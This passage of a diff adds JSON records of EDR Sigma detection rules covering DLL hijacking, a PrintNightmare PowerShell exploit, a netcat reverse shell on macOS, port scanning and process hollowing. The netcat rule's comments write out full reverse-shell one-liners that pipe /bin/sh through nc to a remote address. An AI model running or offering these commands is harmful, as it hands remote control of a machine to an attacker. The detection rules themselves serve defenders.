+  "rule_name": "DLL Hijacking via cttune.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via cttune.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6df113cd-4125-42f2-b630-77bf2361c707",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096214Z",
+  "creation_date": "2026-03-23T11:45:34.096216Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096220Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_register_cimprovider.yml",
+  "content": "title: DLL Hijacking via register-cimprovider.exe\nid: 6df113cd-4125-42f2-b630-77bf2361c707\ndescription: |\n    Detects potential Windows DLL Hijacking via register-cimprovider.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'register-cimprovider.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\miutils.dll'\n            - '\\prvdmofcomp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6df113cd-4125-42f2-b630-77bf2361c707",
+  "rule_name": "DLL Hijacking via register-cimprovider.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via register-cimprovider.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6e045b70-4db3-4a16-8bf2-37ebd9f3cbb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076279Z",
+  "creation_date": "2026-03-23T11:45:34.076281Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076285Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/calebstewart/CVE-2021-1675",
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675",
+    "https://attack.mitre.org/techniques/T1547/012/"
+  ],
+  "name": "t1547_012_possible_printnightmare_exploit_using_powershell.yml",
+  "content": "title: Possible PrintNightmare Privilege Escalation Exploit via PowerShell\nid: 6e045b70-4db3-4a16-8bf2-37ebd9f3cbb1\ndescription: |\n    Detects the usage PowerShell Proof-of-concept to exploit the PrintNightmare vulnerability (CVE-2021-1675).\n    Attackers can use this print spooler vulnerability to locally elevate privileges on a target host.\n    It is recommended to investigate all PowerShell activity related to spoolsv.exe processes and immediately apply Microsoft security patch KB5004945 while disabling the Print Spooler service on non-printing servers.\nreferences:\n    - https://github.com/calebstewart/CVE-2021-1675\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675\n    - https://attack.mitre.org/techniques/T1547/012/\ndate: 2022/09/29\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1547.012\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Exploit.CVE-2021-1675\n    - classification.Windows.Exploit.PrintNightmare\n    - classification.Windows.Script.PowerShell\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - '$nightmare_data'\n            - \"$winspool = $Types['winspool.drv']\"\n            - 'function Invoke-Nightmare'\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6e045b70-4db3-4a16-8bf2-37ebd9f3cbb1",
+  "rule_name": "Possible PrintNightmare Privilege Escalation Exploit via PowerShell",
+  "rule_description": "Detects the usage PowerShell Proof-of-concept to exploit the PrintNightmare vulnerability (CVE-2021-1675).\nAttackers can use this print spooler vulnerability to locally elevate privileges on a target host.\nIt is recommended to investigate all PowerShell activity related to spoolsv.exe processes and immediately apply Microsoft security patch KB5004945 while disabling the Print Spooler service on non-printing servers.\n",
+  "rule_creation_date": "2022-09-29",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6e3969d3-3c5c-4782-9b61-bf6789d64008",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618060Z",
+  "creation_date": "2026-03-23T11:45:34.618062Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618067Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://gtfobins.github.io/gtfobins/nc/",
+    "https://attack.mitre.org/techniques/T1059/004/"
+  ],
+  "name": "t1059_004_reverse_shell_netcat_macos.yml",
+  "content": "title: Reverse Shell Executed via Netcat (macOS)\nid: 6e3969d3-3c5c-4782-9b61-bf6789d64008\ndescription: |\n    Detects a suspicious command line related to a reverse shell execution via Netcat.\n    A reverse shell is a shell session that is initiated from a remote machine.\n    Attackers often use reverse shell to bypass firewall restrictions.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://gtfobins.github.io/gtfobins/nc/\n    - https://attack.mitre.org/techniques/T1059/004/\ndate: 2022/11/14\nmodified: 2025/09/25\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Netcat\n    - classification.macOS.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        CommandLine|contains:\n            # mknod /tmp/backpipe p; /bin/sh </tmp/backpipe | nc 192.168.56.1 8888 > /tmp/backpipe\n            # mknod /tmp/backpipe p; /bin/sh </tmp/backpipe | nc 192.168.56.1 8888 | tee /tmp/backpipe\n            - 'mknod *sh*<*|*nc *>'\n            - 'mknod *sh*<*|*nc *|*tee'\n            # mknod /tmp/backpipe p; nc 192.168.56.1 8888 </tmp/backpipe|/bin/sh -i | tee /tmp/backpipe\n            # mknod /tmp/backpipe p; nc 192.168.56.1 8888 </tmp/backpipe|/bin/sh -i > /tmp/backpipe\n            - 'mknod *nc *<*|*sh*-i*|*tee'\n            - 'mknod *nc *<*|*sh*-i*>'\n\n    exclusion_homebrew:\n        CommandLine|contains|all:\n            - 'abort ?Homebrew is only supported on macOS and Linux.?'\n            - '# On Linux, this script installs to /home/linuxbrew/.linuxbrew only'\n            - 'https://docs.brew.sh/Homebrew-on-Linux'\n\n    exclusion_httpd:\n        CurrentDirectory: '/private/tmp/httpd-*'\n\n    exclusion_kitten_ssh:\n        CommandLine|contains: '# Copyright (C) 2022 Kovid Goyal <kovid at kovidgoyal.net>'\n        Image: '/usr/bin/ssh'\n        ParentCommandLine|contains: 'kitten ssh'\n\n    exclusion_munki:\n        - Ancestors|contains: '/Library/MunkiReport/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python'\n        - ParentCommandLine|contains: '/usr/local/munkireport/scripts/'\n\n    exclusion_mosyle:\n        Ancestors|contains: '|/Library/Application Support/Mosyle/MosyleMDM.app/Contents/MacOS/MosyleMDM|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6e3969d3-3c5c-4782-9b61-bf6789d64008",
+  "rule_name": "Reverse Shell Executed via Netcat (macOS)",
+  "rule_description": "Detects a suspicious command line related to a reverse shell execution via Netcat.\nA reverse shell is a shell session that is initiated from a remote machine.\nAttackers often use reverse shell to bypass firewall restrictions.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-09-25",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6e62da17-4a00-4116-8c84-f1a3ddd01757",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091533Z",
+  "creation_date": "2026-03-23T11:45:34.091535Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091539Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1204/"
+  ],
+  "name": "t1204_harfanglab_eicar_linux.yml",
+  "content": "title: Harfanglab EICAR (Linux)\nid: 6e62da17-4a00-4116-8c84-f1a3ddd01757\ndescription: |\n    This is a test rule that detects the string 'EICAR-STANDARD-HARFANGLAB-TEST-STRING' inside the command-line of a process.\n    EICAR files are files that were originally used to test the response of computer AV programs. HarfangLab has used this concept to create a test rule for its EDR.\n    This does not represent inherently malicious activity and there should be no need for investigation if these tests are expected in your environment.\n    If this rule has triggered, it means that HarfangLab EDR detection engines are operating properly.\nreferences:\n    - https://attack.mitre.org/techniques/T1204/\ndate: 2023/11/30\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Malware.EICAR\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains: 'EICAR-STANDARD-HARFANGLAB-TEST-STRING'\n    condition: selection\nlevel: low\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6e62da17-4a00-4116-8c84-f1a3ddd01757",
+  "rule_name": "Harfanglab EICAR (Linux)",
+  "rule_description": "This is a test rule that detects the string 'EICAR-STANDARD-HARFANGLAB-TEST-STRING' inside the command-line of a process.\nEICAR files are files that were originally used to test the response of computer AV programs. HarfangLab has used this concept to create a test rule for its EDR.\nThis does not represent inherently malicious activity and there should be no need for investigation if these tests are expected in your environment.\nIf this rule has triggered, it means that HarfangLab EDR detection engines are operating properly.\n",
+  "rule_creation_date": "2023-11-30",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6e759997-33d8-452a-8ead-44744fab7782",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099042Z",
+  "creation_date": "2026-03-23T11:45:34.099044Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099049Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_disksnapshot.yml",
+  "content": "title: DLL Hijacking via disksnapshot.exe\nid: 6e759997-33d8-452a-8ead-44744fab7782\ndescription: |\n    Detects potential Windows DLL Hijacking via disksnapshot.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'disksnapshot.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\cryptsp.dll'\n            - '\\rsaenh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6e759997-33d8-452a-8ead-44744fab7782",
+  "rule_name": "DLL Hijacking via disksnapshot.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via disksnapshot.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6e840fce-0f8e-4009-8180-c6e416c31634",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604991Z",
+  "creation_date": "2026-03-23T11:45:34.604995Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605002Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/",
+    "https://attack.mitre.org/techniques/T1016/"
+  ],
+  "name": "t1016_powershell_port_list.yml",
+  "content": "title: Port Scan via PowerShell\nid: 6e840fce-0f8e-4009-8180-c6e416c31634\ndescription: |\n    Detects PowerShell using System.Net.Sockets.TcpClient class to scan for outbound ports.\n    Attackers can use PowerShell to do a portscan instead of using common tools like Nmap as it is built into Windows operating systems.\n    It is recommended to verify if the PowerShell script is using this class legitimately. If so, it is recommended to create a whitelist for the identified script.\nreferences:\n    - https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/\n    - https://attack.mitre.org/techniques/T1016/\ndate: 2021/10/19\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.NetworkScan\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n      PowershellCommand|contains|all:\n        - 'New-Object'\n        - 'System.Net.Sockets.TcpClient'\n        - 'BeginConnect'\n        - 'Connected'\n\n    exclusion_vmware:\n        PowershellScriptPath: '?:\\Program Files\\WindowsPowerShell\\Modules\\VMware.Sdk.Runtime\\\\*\\Extensions\\PowerShellCmdletsExtensions.ps1'\n        PowershellCommand|contains|all:\n            - 'A wrapper function for Invoke-WebRequest which gets content from a web page on the internet.'\n            - 'function Invoke-WebRequestX {'\n            - 'Retrieves the Certificate thumbprint for the specified remote host. Tcp and Ssl streams are used.'\n            - 'function Get-TlsCertificateThumbprintFromRemoteHost {'\n\n    # https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/run-analyzer-windows\n    exclusion_MDEClientAnalyzer:\n        PowershellScriptPath|contains: 'MDEClientAnalyzer.ps1'\n        PowershellCommand|contains|all:\n            - '# This telnet test does not support proxy as-is'\n            - 'Successfully connected to Host: $RemoteHost on Port: $Port'\n            - 'function Write-ReportEvent('\n\n    exclusion_test_port:\n        PowershellCommand|contains|all:\n            - 'function Test-Port'\n            - 'https://boeprox.wordpress.org'\n            - 'A. A. Milne (1882-1958)'\n            - '#Create object for connecting to port on computer'\n\n    exclusion_manageegine:\n        ProcessParentImage|endswith: '\\ManageEngine\\M365 Manager Plus\\bin\\wrapper.exe'\n\n    exclusion_m365_manager:\n        ProcessImage: '?:\\ManagerEngine\\M365 Manager Plus\\jre\\bin\\java.exe'\n\n    exclusion_vmware_sdk:\n        PowershellScriptPath|contains: 'VMware.Sdk.Runtime\\Extensions\\PowerShellCmdletsExtensions.ps1'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6e840fce-0f8e-4009-8180-c6e416c31634",
+  "rule_name": "Port Scan via PowerShell",
+  "rule_description": "Detects PowerShell using System.Net.Sockets.TcpClient class to scan for outbound ports.\nAttackers can use PowerShell to do a portscan instead of using common tools like Nmap as it is built into Windows operating systems.\nIt is recommended to verify if the PowerShell script is using this class legitimately. If so, it is recommended to create a whitelist for the identified script.\n",
+  "rule_creation_date": "2021-10-19",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6e9abccd-a3c5-4c22-9f68-1657dd47857b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080987Z",
+  "creation_date": "2026-03-23T11:45:34.080989Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080994Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_ngen.yml",
+  "content": "title: Ngen.exe Sacrificial Process Spawned\nid: 6e9abccd-a3c5-4c22-9f68-1657dd47857b\ndescription: |\n    Detects the suspicious execution of the legitimate Windows binary ngen.exe, spawned without arguments and in an abnormal execution context.\n    This can mean that the binary is being used as sacrificial or hollowed process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used by, for instance, by the Vidar malware.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the ngen.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/05/13\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SacrificialProcess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\Microsoft.NET\\Framework\\v*\\ngen.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6e9abccd-a3c5-4c22-9f68-1657dd47857b",
+  "rule_name": "Ngen.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate Windows binary ngen.exe, spawned without arguments and in an abnormal execution context.\nThis can mean that the binary is being used as sacrificial or hollowed process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used by, for instance, by the Vidar malware.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the ngen.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6eae8f6d-99fb-45f9-a55d-94fc7e7110df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
